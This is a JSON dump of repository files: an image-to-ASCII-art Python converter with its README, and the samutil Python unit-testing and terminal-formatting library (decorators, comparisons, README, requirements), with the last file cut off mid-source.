[ { "alpha_fraction": 0.7331995964050293, "alphanum_fraction": 0.7512537837028503, "avg_line_length": 20.212766647338867, "blob_id": "121f6aee0e0d58bb9d3fbc858ecdb0e737f68a1c", "content_id": "6b697b97748b618bcaf7ac99b997cb56284d4436", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 997, "license_type": "no_license", "max_line_length": 185, "num_lines": 47, "path": "/README.md", "repo_name": "YashMathur/ASCIInator", "src_encoding": "UTF-8", "text": "# ASCIInator\n\nA python program that converts images into ASCII art and pixel art.\n(NOTE: ensure that your terminal supports ISO-8613-3 24-bit foreground color setting for outputing pixel art correctly. macOS's default terminal is not known to support it. Use iTerm2.)\n\nAuthors: Yash Mathur (@YashMathur), Ambareesh Balaji (@ambyjkl)\n\n## Demo\nASCII art:\n\n![Harambe in grayscale](demo.png)\n\nASCII art with high detail:\n\n![Harambe is high](demo-high.png)\n\nPixel art:\n\n![Harambe in color](demo-color.png)\n\n# Installation\n\n## macOS\n```bash\nbrew install python3 pip3\nsudo pip3 install Pillow\ngit clone https://github.com/YashMathur/ASCIInator.git\ncd ASCIInator\npython3 main.py -h\n```\n\n## Ubuntu / Bash on Windows 10\n```bash\nsudo apt-get install python3 pip3\nsudo pip3 install pillow\ngit clone https://github.com/YashMathur/ASCIInator.git\ncd ASCIInator\npython3 main.py -h\n```\n\n## Arch Linux\n```bash\nsudo pacman -S python-pillow\ngit clone https://github.com/YashMathur/ASCIInator.git\ncd ASCIInator\npython main.py -h\n```\n" }, { "alpha_fraction": 0.44607341289520264, "alphanum_fraction": 0.47198545932769775, "avg_line_length": 29.55208396911621, "blob_id": "a7149aac61f1d7737851ca4afaa352e3f87ef929", "content_id": "153f7aaf9cbfec3d33443056fa0d96a693832881", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8827, "license_type": "no_license", "max_line_length": 101, "num_lines": 288, "path": "/main.py", "repo_name": "YashMathur/ASCIInator", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\nfrom argparse import ArgumentParser\nfrom PIL import Image, ImageFilter\n\nparser = ArgumentParser(description='Convert images to ASCII art')\nparser.add_argument(\n '--width',\n '-w',\n type=int,\n default=100,\n help='width of the output in characters')\nparser.add_argument(\n '--font-ratio',\n '-r',\n type=float,\n default=0.5,\n help='ratio of the width of the font to the height of the font')\nparser.add_argument(\n '--output', '-o', help='output file (defaults to filename.txt)')\nparser.add_argument('image', help='input image file')\nparser.add_argument(\n '--pixel', '-p', help='flag for pixel art mode', action='store_true')\nparser.add_argument(\n '--invert',\n '-i',\n help='set foreground color to black and background color to white, only works in ASCII art mode',\n action='store_true')\nparser.add_argument(\n '--high',\n '-H',\n help='use more gray levels for more detail',\n action='store_true')\nparser.add_argument(\n '--stdout',\n '-s',\n help='output result to stdout, ignore --output',\n action='store_true')\nparser.add_argument(\n '--strip-emptylines',\n '-S',\n help='strip useless newlines from beginning and end of the output',\n action='store_true')\nargs = parser.parse_args()\n\nif not args.stdout:\n if args.output is None:\n args.output = args.image + \".txt\"\n\n\ndef foreList(fore):\n return [\n \"\\033[38;2;\", str(fore[0]), \";\", str(fore[1]), \";\", str(fore[2]), \"m\"\n ]\n\n\ndef backList(back):\n return [\n \"\\033[48;2;\", str(back[0]), \";\", str(back[1]), \";\", str(back[2]), \"m\"\n ]\n\n\ndef colorChar(rgba1, rgba2, b, f):\n upPrint = False\n downPrint = False\n outputList = []\n if rgba1[3] >= 100:\n upPrint = True\n if rgba2[3] >= 100:\n downPrint = True\n if (upPrint and downPrint):\n up = [\n int(rgba1[0] * rgba1[3] / 255), int(rgba1[1] * rgba1[3] / 255),\n int(rgba1[2] * rgba1[3] / 255)\n ]\n down = [\n int(rgba2[0] * rgba2[3] / 255), int(rgba2[1] * rgba2[3] / 255),\n int(rgba2[2] * rgba2[3] / 255)\n ]\n if up == down:\n if b is None:\n b = up\n outputList.extend(backList(b))\n outputList.append(\" \")\n else:\n if b is None:\n if f is None:\n b = up\n f = down\n outputList.extend(backList(b))\n outputList.extend(foreList(f))\n outputList.append(\"▄\")\n else:\n if f == down:\n b = up\n outputList.extend(backList(b))\n outputList.append(\"▄\")\n elif f == up:\n b = down\n outputList.extend(backList(b))\n outputList.append(\"▀\")\n else:\n b = up\n outputList.extend(backList(b))\n f = down\n outputList.extend(foreList(f))\n outputList.append(\"▄\")\n else:\n if b == up:\n if f is None:\n f = down\n outputList.extend(foreList(f))\n outputList.append(\"▄\")\n else:\n if f != down:\n f = down\n outputList.extend(foreList(f))\n outputList.append(\"▄\")\n elif b == down:\n if f is None:\n f = up\n outputList.extend(foreList(f))\n outputList.append(\"▀\")\n else:\n if f != up:\n f = up\n outputList.extend(foreList(f))\n outputList.append(\"▀\")\n else:\n if f is None:\n b = up\n outputList.extend(backList(b))\n f = down\n outputList.extend(foreList(f))\n outputList.append(\"▄\")\n else:\n if f == down:\n b = up\n outputList.extend(backList(b))\n outputList.append(\"▄\")\n elif f == up:\n b = down\n outputList.extend(backList(b))\n outputList.append(\"▀\")\n else:\n b = up\n outputList.extend(backList(b))\n f = down\n outputList.extend(foreList(f))\n outputList.append(\"▄\")\n\n elif upPrint:\n up = [\n int(rgba1[0] * rgba1[3] / 255), int(rgba1[1] * rgba1[3] / 255),\n int(rgba1[2] * rgba1[3] / 255)\n ]\n if b is not None:\n b = None\n outputList.append(\"\\033[49m\")\n if f != up:\n f = up\n outputList.extend(foreList(f))\n outputList.append(\"▀\")\n elif downPrint:\n down = [\n int(rgba1[0] * rgba1[3] / 255), int(rgba1[1] * rgba1[3] / 255),\n int(rgba1[2] * rgba1[3] / 255)\n ]\n if b is not None:\n b = None\n outputList.append(\"\\033[49m\")\n if f != down:\n f = down\n outputList.extend(foreList(f))\n outputList.append(\"▄\")\n else:\n if b is not None:\n b = None\n outputList.append(\"\\033[49m\")\n else:\n outputList.append(\" \")\n output = ''.join(outputList)\n return output, b, f\n\n\ndef asciiChar(intensityTuple):\n if intensityTuple[1] < 100:\n return ' '\n intensity = intensityTuple[0]\n asciiString = ' .:-=+*#%@'\n newIntensity = 9 - int(round(intensity * 10 / 255, 0))\n return asciiString[newIntensity]\n\n\ndef highAsciiChar(intensityTuple):\n if intensityTuple[1] < 100:\n return ' '\n intensity = intensityTuple[0]\n asciiString = ' .\\'`^\",:;Il!i><~+_-?][}{1)(|\\/tfjrxnuvczXYUJCLQ0OZmwqpdbkhao*#MW&8%B@$'\n newIntensity = 69 - int(round(intensity * 70 / 255, 0))\n return asciiString[newIntensity]\n\n\ntry:\n img = Image.open(args.image)\nexcept:\n print(\"Unable to load image\")\n exit()\n\nif args.pixel:\n img = img.convert(\"RGBA\")\n args.font_ratio *= 2\nelse:\n img = img.convert(\"LA\")\nbasewidth = args.width\nwpercent = float((basewidth / float(img.size[0])))\nhsize = int((float(img.size[1]) * wpercent * args.font_ratio))\nimg = img.resize((basewidth, hsize), Image.LANCZOS)\n\nim = img.load()\nwidth, height = img.size\n\noutput = []\n\nif args.pixel:\n b = None\n f = None\n heightPairs = height // 2\n remainder = height % 2\n for i in range(heightPairs - 1):\n for j in range(width):\n newPixel, b, f = colorChar(im[j, i * 2], im[j, i * 2 + 1], b, f)\n output.append(newPixel)\n if b is not None:\n b = None\n output.append('\\033[49m')\n output.append('\\n')\n i = heightPairs - 1\n for j in range(width):\n newPixel, b, f = colorChar(im[j, i * 2], im[j, i * 2 + 1], b, f)\n output.append(newPixel)\n if remainder != 0:\n if b is not None:\n b = None\n output.append('\\033[49m')\n i = height - 1\n for j in range(width):\n newPixel, b, f = colorChar(im[j, i], [0, 0, 0, 0], b, f)\n output.append('\\033[0m')\n\nelif args.high:\n for i in range(height):\n if args.invert:\n output.append(\"\\033[30;47m\")\n for j in range(width):\n output.append(highAsciiChar(im[j, i]))\n if args.invert:\n output.append(\"\\033[0m\")\n output.append('\\n')\n del output[-1]\nelse:\n for i in range(height):\n if args.invert:\n output.append(\"\\033[30;47m\")\n for j in range(width):\n output.append(asciiChar(im[j, i]))\n if args.invert:\n output.append(\"\\033[0m\")\n output.append('\\n')\n del output[-1]\n\noutputString = ''.join(output)\n\nfrom re import sub\noutputString = sub(r' +\\n', '\\n', outputString)\n\nif args.strip_emptylines:\n if args.pixel:\n outputString = sub(r'^( *(.\\[((0)|(49))m)?\\n)+', '', outputString)\n outputString = sub(r'\\n+ +.\\[0m\\n?$', '\\033[0m', outputString)\n else:\n outputString = sub(r'^( +\\n)+', '', outputString)\n outputString = sub(r'\\n+ +\\n?$', '', outputString)\n\nif args.stdout:\n print(outputString)\nelse:\n outputFile = open(args.output, \"w\")\n print(outputString, file=outputFile)\n" } ]
2
saurabhiet/Session17_Assignment1
https://github.com/saurabhiet/Session17_Assignment1
f18d376d98b07597c0582ffffe95ac7f5cc5abe6
7bf3501132334f279e508858d5724b418ee6ebe4
5bc561bd557894a7e9a94945738ba66050490a90
refs/heads/master
2020-03-17T10:56:03.531385
2018-06-12T13:22:39
2018-06-12T13:22:39
133,530,327
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6877853870391846, "alphanum_fraction": 0.7060502171516418, "avg_line_length": 40.71428680419922, "blob_id": "276e7d91d652a5b1b39dd9b589f6940c710ef605", "content_id": "6be8c547cb4159f8a2ae697f3e94848083f6d86f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1752, "license_type": "no_license", "max_line_length": 123, "num_lines": 42, "path": "/Session17_Assignment1.py", "repo_name": "saurabhiet/Session17_Assignment1", "src_encoding": "UTF-8", "text": "import numpy as np\nimport pandas as pd\nimport seaborn as sb\nimport matplotlib.pyplot as plt\nimport sklearn\nfrom pandas import Series, DataFrame\nfrom pylab import rcParams\nfrom sklearn import preprocessing\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.cross_validation import train_test_split\nfrom sklearn import metrics\nfrom sklearn.metrics import classification_report\nfrom sklearn.metrics import accuracy_score\nurl=\"https://raw.githubusercontent.com/BigDataGal/Python-for-Data-Science/master/titanic-train.csv\"\ntitanic = pd.read_csv(url)\ntitanic.columns = ['PassengerId','Survived','Pclass','Name','Sex','Age','SibSp','Parch','Ticket','Fare','Cabin','Embarked']\ntitanic = titanic.drop(['Cabin'], axis = 1)\ntitanic = titanic.drop(['Ticket'], axis = 1)\ntitanic[\"Age\"] = titanic[\"Age\"].fillna(-0.5)\nbins = [-1, 0, 5, 12, 18, 24, 35, 60, np.inf]\nlabels = ['Unknown', 'Baby', 'Child', 'Teenager', 'Student', 'Young Adult', 'Adult', 'Senior']\ntitanic = titanic.drop(['Name'], axis = 1)\ntitanic = titanic.drop(['Embarked'], axis = 1)\nsex_mapping = {\"male\": 0, \"female\": 1}\ntitanic['Sex'] = titanic['Sex'].map(sex_mapping)\nfor x in range(len(titanic[\"Fare\"])):\n if pd.isnull(titanic[\"Fare\"][x]):\n pclass = titanic[\"Pclass\"][x] #Pclass = 3\n titanic[\"Fare\"][x] = round(titanic[titanic[\"Pclass\"] == pclass][\"Fare\"].mean(), 4)\n\nprint(titanic.head())\n\npredictors = titanic.drop(['Survived', 'PassengerId'], axis=1)\ntarget = titanic[\"Survived\"]\nx_train, x_val, y_train, y_val = train_test_split(predictors, target, test_size = 0.22, random_state = 0)\n\nlogreg = LogisticRegression()\nlogreg.fit(x_train, y_train)\ny_pred = logreg.predict(x_val)\nacc_logreg = round(accuracy_score(y_pred, y_val) * 100, 2)\nprint()\nprint (acc_logreg)\n" } ]
1
sammce/samutil
https://github.com/sammce/samutil
d9898974cef58fb16a614ae4c64718b62b0c91ab
fd6e470a93fd4613e972e0bf7e4aac12f623dad9
f9f3568882baf13b07755ac7405896e2dbf643a3
refs/heads/main
2023-08-29T18:04:07.600824
2021-10-06T14:42:24
2021-10-06T14:42:24
396,149,046
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.525909960269928, "alphanum_fraction": 0.5305719971656799, "avg_line_length": 26.74626922607422, "blob_id": "6cd3c6f584abf90c75893c8e2234646cd3299f9e", "content_id": "a8c3f5e6dd311fc1e555ba8261461d5cf451b599", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5577, "license_type": "permissive", "max_line_length": 132, "num_lines": 201, "path": "/src/samutil/testing/decorators.py", "repo_name": "sammce/samutil", "src_encoding": "UTF-8", "text": "import inspect\nfrom types import FunctionType\nfrom typing import Callable\n\nfrom samutil.formatting import Formatter as f\n\nfrom .comparisons import BaseComparison, EqualTo\nfrom .core import UnitTest\nfrom .utils import make_lazy_run_test\n\n\ndef expect(*args):\n \"\"\"\n Specify the expected value that should be returned by the test case.\n Must always be used directly underneath a `@case`.\n \"\"\"\n if len(args) != 1:\n raise ValueError(\n f.error(\n \"@expect only takes 1 argument, the value returned by one of the Comparisons methods, or a literal\"\n )\n )\n\n def deco(func: Callable) -> Callable:\n func._is_class = inspect.isclass(func)\n comparison = args[0]\n if not hasattr(func, \"_tests\"):\n func._tests = [[]]\n\n if not isinstance(comparison, BaseComparison):\n comparison = EqualTo(comparison)\n\n index = 0\n if hasattr(func, \"_test_index\"):\n index = func._test_index\n\n try:\n func._tests[index].append(comparison)\n except IndexError:\n func._tests.append([comparison])\n\n return func\n\n return deco\n\n\ndef case(*args, **kwargs) -> Callable:\n \"\"\"\n Decorator which wraps a function and automatically creates a test case with it.\n \"\"\"\n\n def deco(func: Callable) -> Callable:\n if not hasattr(func, \"_tests\"):\n raise ValueError(\n f.error(f\"@case called on '{func.__name__}' without @expect underneath\")\n )\n\n index = 0\n if hasattr(func, \"_test_index\"):\n index = func._test_index\n\n comparison = func._tests[index][-1]\n del func._tests[index][-1]\n func._tests[index].append(\n make_lazy_run_test(*args, comparison=comparison, **kwargs)\n )\n return func\n\n return deco\n\n\ndef test(*args):\n \"\"\"\n Create a new test suite for a function which can be run using `samutil test <file_with_function_declaration>`\n \"\"\"\n if len(args) > 1:\n raise ValueError(\n f.error(\n f\"@test accepts 1 argument: `name` which is the name of the unit test. Got {len(args)} arguments: {', '.join(args)}\"\n )\n )\n\n def deco(func: Callable):\n try:\n name = str(args[0])\n if isinstance(name, FunctionType):\n name = func.__name__\n except (IndexError, ValueError):\n name = func.__name__\n\n if hasattr(func, \"_is_class\") and func._is_class:\n raise TypeError(\n f.error(\n \"@test can't be used on a class. For testing classes, use @testmethod\"\n )\n )\n\n test = UnitTest(func)\n test.describe(name, output=False)\n\n # Used for grouping like tests together\n if not hasattr(func, \"_test_index\"):\n func._test_index = 1\n else:\n func._test_index += 1\n\n # Used for grouping callbacks that run tests\n this_suite = 0\n if hasattr(func, \"_run_tests\"):\n this_suite = len(func._run_tests)\n else:\n func._run_tests = []\n\n if not hasattr(func, \"_tests\"):\n raise ValueError(\n f.error(\n f\"@test called on '{func.__name__}' without any @case statements underneath\"\n )\n )\n\n def run_tests(fn):\n test.output_test_name()\n for case in fn._tests[this_suite][::-1]:\n case(test)()\n\n func._run_tests.append(run_tests)\n\n return func\n\n if isinstance(args[0], FunctionType):\n return deco(args[0])\n else:\n return deco\n\n\ndef testmethod(*args):\n \"\"\"\n Create a new test suite for a class method which can be run using `samutil test <file_with_class_declaration>`\n \"\"\"\n arg_len = len(args)\n if arg_len > 2:\n raise ValueError(\n f.error(\n f\"@testmethod accepts 2 arguments: 'methodname' and 'testname'. Got {len(args)} arguments: {', '.join(args)}\"\n )\n )\n elif arg_len == 0:\n raise ValueError(\n f.error(\n \"@testmethod must be called without arguments. The first argument must be the name of the method.\"\n )\n )\n\n def deco(func: Callable):\n methodname = args[0]\n\n if arg_len == 2:\n testname = args[1]\n else:\n testname = func.__name__\n\n if hasattr(func, \"_is_class\") and func._is_class:\n method = getattr(func, methodname)\n method.__dict__.update(func.__dict__)\n method._parent = func\n test = UnitTest(method)\n test.describe(testname, output=False)\n\n this_suite = 0\n\n if not hasattr(func, \"_test_index\"):\n func._test_index = 1\n else:\n func._test_index += 1\n\n has_tests = hasattr(func, \"_run_tests\")\n\n if has_tests:\n this_suite = len(func._run_tests)\n\n if not hasattr(func, \"_tests\"):\n raise ValueError(\n f.error(\n f\"@test called on '{func.__name__}' without any @case statements underneath\"\n )\n )\n\n def run_tests(fn):\n print(\"\\n\" + f.underline(testname + \"\\n\"))\n\n for case in fn._tests[this_suite][::-1]:\n case(test)()\n\n if not has_tests:\n func._run_tests = [run_tests]\n else:\n func._run_tests.append(run_tests)\n\n return func\n\n return deco\n" }, { "alpha_fraction": 0.7052906155586243, "alphanum_fraction": 0.7277694940567017, "avg_line_length": 37.15165710449219, "blob_id": "0859eacf91d58c098e814f0b25fbc411dbe39c28", "content_id": "d4d28bdd1e2d0c48ef8b32813772a7f78726d9b0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 8068, "license_type": "permissive", "max_line_length": 349, "num_lines": 211, "path": "/README.md", "repo_name": "sammce/samutil", "src_encoding": "UTF-8", "text": "# samutil\nA set of Python utility modules to help develop and maintain quality software.\n\n# Installation\n## Using Pip\n```bash\n $ pip install samutil\n```\n## Manual\n```bash\n $ git clone https://github.com/sammce/samutil\n $ cd samutil\n $ python setup.py install\n```\n# Usage\n\n## Testing\n### **CLI**\n```bash\n$ samutil test [...files]\n```\n\n### **Quick Links**\n- [How do I write tests?](#the-first-api)\n- [What does the output look like?](#output)\n- [How do I run test files?](#running-tests)\n- [What API should I use?](#what-api-should-i-use)\n- [What comparisons are available?](#comparisons)\n- [How do I write my own comparisons?](#writing-custom-comparisons)\n- [How do I test class methods?](#testing-classes)\n\n### Why I made this module\nI made this module to solve a paricularly niche problem I had. I am also a React developer, so I am well versed in writing [jest](https://jestjs.io) tests, which this module aims to replicate. Another reason is to provide a more verbose output than the built in Python package [unittest](https://docs.python.org/3/library/unittest.html)\n\nThe testing module provides 2 simple APIs for unit testing functions and class methods.\n\n### The first API\n```python\n# add.py, where the function is defined\nfrom samutil.testing.decorators import test, case, expect\nfrom samutil.testing.comparisons import LessThan\n\n@test(\"Adds 2 integers correctly\")\n@case(1, 6)\n@expect(7)\n@case(10, b=4)\n@expect(14)\n\n@test(\"Doesn't return a crazy value\")\n@case(10, 20)\n@expect(LessThan(1000))\ndef add(a, b):\n return a + b\n```\n### The second:\n```python\n# add.test.py, an explicit testing file\n\n# Note: 'add' can be anything, any file ending in .test.py is executed but it is best practice for test files to share the name of whatever they are testing\n\nfrom samutil.testing import UnitTest\nfrom samutil.testing.comparisons import LessThan\n# Import the test subject\nfrom .add import add\n\ntest = UnitTest(add)\n\ntest.describe(\"Adds 2 integers correctly\")\ntest(1, 6).should_equal(7)\ntest(10, b=4).should_equal(14)\n\ntest.describe(\"Doesn't return a crazy value\")\ntest(10, 20).should_be_less_than(100)\n# Or, if you want to manually set a comparison\ntest(10, 20).should_be(LessThan(100))\n```\n\n### **Output**\nBoth result in the following output after running `samutil test`:\n\n<img width=\"317\" alt=\"Screenshot 2021-10-01 at 18 00 20\" src=\"https://user-images.githubusercontent.com/78268167/135659400-1075ec25-d54f-4f9a-8e7a-71af176f2cf8.png\">\n\n### **Running tests**\nThe `test` command by itself recursively runs all tests in all sub directories with respect to the directory in which the command was executed.\n\nConsider the following file system:\n```\nroot\n│ add.py\n│ add.test.py \n│\n└── foomodule\n │ bar.py\n │ bar.test.py\n```\n\nIf the `test` command were to be executed without any arguments in `root`, `add.test.py` and `bar.test.py` would be executed automatically. For any other `.py` file, its top level definitions are programatically imported, and only run if a `@test` or `@testmethod` call is detected on it (i.e. it has the attributes which are set by the decorators).\n\nAnother way of calling the `test` command includes passing specific files as arguments. With the file structure above in mind, the command `test ./foomodule/bar.py add.test.py` would execute `add.test.py`, and import the definitions of `./foomodule/bar.py` and run any that are decorated with `@test` or `@testmethod`.\n\nIf a file has tests written with both the first and second API, only one will run. Which one depends on the name of the file, as outlined above.\n\n---\n### **What API should I use?**\n\nThe 2 APIs are identical under the hood. The first API is simply syntactic sugar for the second, but may become unmanageable if more rigorous tests are needed. \n\n**IMPORTANT:** For applications where performance is vital, I strongly recommend the second API. This is because the decorators work by setting attributes on the test subject, and this comes with a small overhead.\n\nFollowing from that, there are some attributes which will be overwritten on the test subject. These attributes are:\n- _tests\n- _run_index\n- _run_tests\n- _is_class\n- _parent\n\nThis is more so a problem on classes rather than functions, as functions rarely have custom attributes. I have tried to make the names fairly verbose so as not to cause too much hassle.\n\n### **Comparisons**\nI have provided several pre-defined comparisons, which are:\n| Name | Description |\n|-----------|-----------|\n| **EqualTo** | Checks if `result == expected`. If a literal is passed to `@expect`, the comparison is set to `EqualTo` by default |\n| **LessThan** | Checks if `result < expected` |\n| **LessThanOrEqualTo** | Checks if `result <= expected` |\n| **GreaterThan** | Checks if `result > expected` |\n| **GreaterThanOrEqualTo** | Checks if `result >= expected` |\n| **HasType** | Checks if `result` is an instance of `expected` |\n| **Raises** | Checks if `result` is an exception, and an instance of `expected` |\n| **ListEqual** | Checks if `result` is a list, and has exactly the same order and values as `expected` |\n| **DictEqual** | Checks if `result` is a dict, and has exactly the same order and key value pairs as `expected` |\n| **Not** | Wraps a comparison and negates the result. Examples: `@expect(Not(10))` or `@expect(Not(LessThan(11)))`. The amount of use cases for this is probably slim, but it's there if you need it. |\n\n### Writing custom comparisons\nIf for any reason you need more functionality than what I have offered, you can write your own comparisons. The `EqualTo` comparison source code looks like this:\n```python\n# Your custom comparison must extend BaseComparison\nfrom samutil.testing.comparisons import BaseComparison\n\nclass EqualTo(BaseComparison):\n # These properties are used in the test output\n operator = \"==\"\n negated = \"!=\"\n\n def compare(self, result, expected) -> bool:\n return result == expected\n```\nOr alternatively, you can inherit from an existing comparison if your comparison is just a flavour of it. For example, take a look at the `ListEqual` source code:\n```python\nfrom samutil.testing.comparisons import EqualTo\n\nclass ListEqual(EqualTo):\n def compare(self, result, expected):\n if not isinstance(result, (list, tuple)): return False\n\n for result_val, expected_val in zip(result, expected):\n if result_val != expected_val: return False\n\n return True\n```\n\nWhen you call a comparison, the value passed during instantiation is the expected value. For instance, in the statement `EqualTo(9)`, the `compare` method would receive the following arguments:\n- The value returned by the function call (`result`)\n- 9 (`expected`)\n\n### **Testing classes**\nThe current implementation of class based testing is to test each method separately.\nConsider the following tests:\n```python\n# class.py\nfrom samutil.testing import case, expect, testmethod\n\n@testmethod(\"add\", \"Adds properly\")\n@case(2, 4)\n@expect(6)\n\n@testmethod(\"sub\", \"Subtracts properly\")\n@case(10, 4)\n@expect(30.5) # Purposefully wrong\nclass ClassToBeTested:\n def add(a, b):\n return a + b\n\n @staticmethod\n def **sub**(a, b):\n return a - b\n```\nA separate decorator is used for testing class methods, as a method cannot be detected by the current file importing implementation (i.e. the decorator calls have to be at the top level)\n\nThe test-file API implementation of the above would look like this:\n\n```python\n# classname.test.py\nfrom samutil.testing import UnitTest\nfrom .classname import ClassToBeTested\n\ntest = UnitTest(ClassToBeTested)\n\ntest.describe(\"Adds properly\")\ntest.method(\"add\")(2, 4).should_equal(6)\n\ntest.describe(\"Subtracts properly\")\ntest.method(\"sub\")(10, 4).should_equal(30.5)\n```\n\nBoth test suites would result in the following output:\n\n<img width=\"520\" alt=\"Screenshot 2021-10-01 at 22 40 17\" src=\"https://user-images.githubusercontent.com/78268167/135689156-04b70434-36b9-4c48-9d7b-787b953413c4.png\">\n\n\n**NOTE:** The execution time measurement is accurate to about ~1 or 2 percent due to overhead around test subject call.\n\n\n" }, { "alpha_fraction": 0.4663461446762085, "alphanum_fraction": 0.6971153616905212, "avg_line_length": 15, "blob_id": "ee0b7036e79288b738240c0fb498ffcb772195db", "content_id": "6c5c51ae2037349848b712b34d9cf2b4ff3a268d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 208, "license_type": "permissive", "max_line_length": 22, "num_lines": 13, "path": "/requirements.txt", "repo_name": "sammce/samutil", "src_encoding": "UTF-8", "text": "appdirs==1.4.4\nblack==21.7b0\nbuild==0.7.0\nclick==8.0.1\nmypy-extensions==0.4.3\npackaging==21.0\npathspec==0.9.0\npep517==0.11.0\npycryptodomex==3.10.1\npyparsing==2.4.7\npyserial==3.5\nregex==2021.8.28\ntomli==1.2.1\n" }, { "alpha_fraction": 0.5522291660308838, "alphanum_fraction": 0.5634288191795349, "avg_line_length": 29.74834442138672, "blob_id": "6590cfdecc94d35c39c3468a4440e338c79470e3", "content_id": "e2d753950475df029f7d2469e122bd7d7fe3b8c1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4643, "license_type": "permissive", "max_line_length": 105, "num_lines": 151, "path": "/src/samutil/formatting/__init__.py", "repo_name": "sammce/samutil", "src_encoding": "UTF-8", "text": "from os import system\nfrom sys import platform\nfrom typing import Iterable\n\n\nclass ColorCodes:\n \"\"\"\n A class representation of the color codes used by `samutil.Formatter`\n \"\"\"\n CYAN = \"\\033[96m\"\n WHITE = \"\\033[97m\"\n MAGENTA = \"\\033[95m\"\n GREEN = \"\\033[92m\"\n YELLOW = \"\\033[93m\"\n RED = \"\\033[91m\"\n BOLD = \"\\033[1m\"\n UNDERLINE = \"\\033[4m\"\n # Returns terminal color to normal\n END = \"\\033[0m\"\n\n\nclass ColoredText(ColorCodes):\n def __init__(self, code: str, val: str):\n self.code = code\n self.val = val\n\n def __add__(self, rhs: str) -> str:\n \"\"\"\n Defines what to do in the case of a concatenation like ColoredText + \"Hello\".\n \"\"\"\n if isinstance(rhs, str):\n return self.code + self.val + self.END + rhs\n elif isinstance(rhs, ColoredText):\n return self.code + self.val + self.END + rhs.code + rhs.val\n else:\n raise TypeError(\n f\"Operand '+' is not supported between types {type(self)} and {type(rhs)}.\"\n )\n\n def __radd__(self, lhs: str) -> str:\n \"\"\"\n Defines what to do in the case of a concatenation like \"Hello\" + ColoredText.\n \"\"\"\n if isinstance(lhs, str):\n return lhs + f\"{self.code}{self.val}{self.END}\"\n\n def __repr__(self) -> str:\n \"\"\"\n Format the ColoredText object into a string\n \"\"\"\n return f\"{self.code}{self.val}\"\n\n def __str__(self) -> str:\n \"\"\"\n Format the ColoredText object into a string\n \"\"\"\n return f\"{self.code}{self.val}{self.END}\"\n\n\nclass Formatter:\n \"\"\"\n Class with methods for changing the color of text.\n \"\"\"\n\n # Required to make ANSI codes work on Windows\n if platform == \"win32\":\n system(\"color\")\n\n @staticmethod\n def _concat(strings: Iterable[str], code: str = \"\", sep: str = \" \") -> str:\n \"\"\"\n Helper function for concatenating multiple arguments passed\n to any Formatter methods properly.\n \"\"\"\n if len(strings) == 1:\n sep = \"\"\n\n combined_strings = \"\"\n for string in strings:\n\n if not (hasattr(string, \"__str__\") or hasattr(string, \"__repr__\")):\n raise TypeError(\n f\"Value '{string}' of type '{type(string)}' doesn't have __str__ or __repr__ method.\"\n )\n\n string = str(string)\n\n if isinstance(string, ColoredText):\n combined_strings += string + sep\n else:\n # This is to ensure that nested formatter calls work as intended\n combined_strings += code + string + sep\n\n return combined_strings\n\n @staticmethod\n def info(*strings: str, sep=\" \") -> str:\n \"\"\"\n Return `strings` as 1 Cyan colored string, separated by `sep`\n \"\"\"\n text = Formatter._concat(strings, ColorCodes.CYAN, sep)\n return ColoredText(ColorCodes.CYAN, text)\n\n @staticmethod\n def success(*strings: str, sep=\" \") -> str:\n \"\"\"\n Return `strings` as 1 Green colored string, separated by `sep`\n \"\"\"\n text = Formatter._concat(strings, ColorCodes.GREEN, sep)\n return ColoredText(ColorCodes.GREEN, text)\n\n @staticmethod\n def warning(*strings: str, sep=\" \") -> str:\n \"\"\"\n Return `strings` as 1 Yellow colored string, separated by `sep`\n \"\"\"\n\n text = Formatter._concat(strings, ColorCodes.YELLOW, sep)\n return ColoredText(ColorCodes.YELLOW, text)\n\n @staticmethod\n def error(*strings: str, sep=\" \") -> str:\n \"\"\"\n Return `strings` as 1 Red colored string, separated by `sep`\n \"\"\"\n text = Formatter._concat(strings, ColorCodes.RED, sep)\n return ColoredText(ColorCodes.RED, text)\n\n @staticmethod\n def magenta(*strings: str, sep=\" \") -> str:\n \"\"\"\n Return `strings` as 1 Magenta colored string, separated by `sep`\n \"\"\"\n text = Formatter._concat(strings, ColorCodes.MAGENTA, sep)\n return ColoredText(ColorCodes.MAGENTA, text)\n\n @staticmethod\n def bold(*strings: str, sep=\" \") -> str:\n \"\"\"\n Return `strings` as 1 Bold string, separated by `sep`\n \"\"\"\n text = Formatter._concat(strings, ColorCodes.BOLD, sep)\n return ColoredText(ColorCodes.BOLD, text)\n\n @staticmethod\n def underline(*strings: str, sep=\" \") -> str:\n \"\"\"\n Return `strings` as 1 Underlined string, separated by `sep`\n \"\"\"\n text = Formatter._concat(strings, ColorCodes.UNDERLINE, sep)\n return ColoredText(ColorCodes.UNDERLINE, text)\n" }, { "alpha_fraction": 0.5379565358161926, "alphanum_fraction": 0.5407018661499023, "avg_line_length": 28.39649200439453, "blob_id": "f65a99bf2b0a6b2b8f7dda863aa42c94b466ed40", "content_id": "6695b9f7aaa3be41a3decb5b0cdb2576a20903db", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8378, "license_type": "permissive", "max_line_length": 153, "num_lines": 285, "path": "/src/samutil/testing/comparisons.py", "repo_name": "sammce/samutil", "src_encoding": "UTF-8", "text": "from time import perf_counter\n\nfrom samutil.formatting import Formatter as f\nfrom sigfig import round\n\nfrom .types import TestSubject, Value\nfrom .utils import call_if_callable, output_case_args\n\n\nclass BaseComparison:\n result = None\n time_taken = 0\n same_type = True\n passed = False\n operator = \"?\"\n negated = \"?\"\n _not = False\n\n def __init__(self, expected: Value):\n self.expected = expected\n\n def compare(self, expected: Value, result: Value) -> bool:\n \"\"\"\n If compare has not been implemented by a child class, raise an error\n 